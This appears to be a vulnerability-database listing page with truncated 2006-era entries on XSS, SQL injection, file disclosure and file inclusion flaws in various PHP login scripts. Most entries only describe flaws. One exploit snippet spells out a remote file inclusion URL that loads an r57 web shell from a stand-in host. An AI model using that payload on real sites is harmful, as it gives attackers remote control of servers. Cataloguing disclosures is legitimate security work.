CVE-2006-3103

CVE-2006-3103 describes a cross-site scripting (XSS) vulnerability in Bitweaver 1.3, allowing remote attackers to inject arbitrary web script or HTML via (1) the error parameter in users/login.php and (2) the feedback parameter in articles/index.php. The connected records confirm Bitweaver as the...

aWebNews <= 1.0 (login.php) Remote DocumentRoot file disclosure

/ Federico Fazzi, [email protected] / aWebNews = 1.0 login.php Remote DocumentRoot file disclosure / 04/06/2006 5:48 login.php: line 64-68, Bug: -- start -- if $GET'page' == "" $pagetogo = "index.php"; else $pagetogo = $GET'page'; -- end -- Proof of concept: Open the browser and go at:...

Multiple file include exploits in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

CVE-2006-2740

Multiple SQL injection vulnerabilities in Epicdesigns tinyBB 0.3 allow remote attackers to execute arbitrary SQL commands via the 1 q parameter in a forgot.php, and the 2 username and 3 password parameters in b login.php, and other unspecified vectors...

tinyBB <= 0.3 Remote (Include / SQL Injection) Vulnerabilities

Exploit for unknown platform in category web applications ============================================================== tinyBB ICQ: 10072 MSN/Mail: email protected web: www.nukedx.com This exploits works on tinyBB = 0.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=33...

Sql injection

SQL injection vulnerability in login.php in YourFreeWorld.com Short Url & Url Tracker Script allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2006-2509

The CVE-2006-2509 entry concerns YourFreeWorld.com Short Url & Url Tracker Script. The vulnerable component is login.php, where the id parameter allows SQL injection, enabling remote attackers to execute arbitrary SQL commands. The available references describe the issue as a SQL injection affect...

CVE-2006-2109

Cross-site scripting XSS vulnerability in the parsequerystr function in include/print.php in JSBoard 2.0.10 and 2.0.11, and possibly other versions before 2.0.12, allows remote attackers to inject arbitrary web script or HTML via parameters that are set as global variables within the program, as...

Sql injection

SQL injection vulnerability in login.php in Ruperts News allows remote attackers to execute arbitrary SQL commands via the username parameter...

CVE-2006-2135

CVE-2006-2135 describes an SQL injection vulnerability in login.php of Ruperts News, exploitable via the username parameter to execute arbitrary SQL commands remotely. According to NVD, this affects web login functionality with a base score of 7.5 (HIGH) and network attack vector with low complex...

CVE-2006-1971

Cross-site scripting XSS vulnerability in login.php in KRANKIKOM ContentBoxX allows remote attackers to inject arbitrary web script or HTML via the action parameter...

CVE-2006-1971

CVE-2006-1971 is an XSS vulnerability in KRANKIKOM ContentBoxX, specifically in login.php where the action parameter can be exploited to inject arbitrary script/HTML. The affected component is the login form handling in ContentBoxX, with the root cause described as a cross-site scripting flaw tha...

ContentBoxx - login.php Cross-Site Scripting

ContentBoxx - login.php Cross-Site Scripting source: https://www.securityfocus.com/bid/17612/info ContentBoxx is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in t...

CVE-2006-1779

Cross-site scripting XSS vulnerability in login.php in Jeremy Ashcraft Simplog 0.9.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the btag parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in login.php in Jeremy Ashcraft Simplog 0.9.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the btag parameter...

CVE-2006-1779

CVE-2006-1779 describes a Cross-site scripting (XSS) vulnerability in Simplog 0.9.2 and earlier, specifically in login.php where the btag parameter can be used to inject arbitrary script/HTML. Affected product: Simplog (Jeremy Ashcraft) &lt;= 0.9.2. Attack vector from the description is a remote ...

CVE-2006-1745

Cross-site scripting XSS vulnerability in login.php in Bitweaver 1.3 allows remote attackers to inject arbitrary web script or HTML via the error parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2006-1745

This CVE concerns Bitweaver 1.3 and an input handling flaw in login.php that allows cross-site scripting via the error parameter. The vulnerability is an XSS in a web login page component, with the root cause being improper handling/encoding of user-supplied data in the error parameter. The provi...

CVE-2006-1683

The CVE-2006-1683 entry describes a SQL injection vulnerability in Chipmunk Guestbook’s admin/login.php that allows remote attackers to execute arbitrary SQL commands and bypass login authentication via the User name. This vulnerability affects Chipmunk Guestbook’s login handling and is documente...

ShopWeezle 2.0 - login.php?itemID SQL Injection

ShopWeezle 2.0 - login.php?itemID SQL Injection source: https://www.securityfocus.com/bid/17441/info ShopWeezle is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A...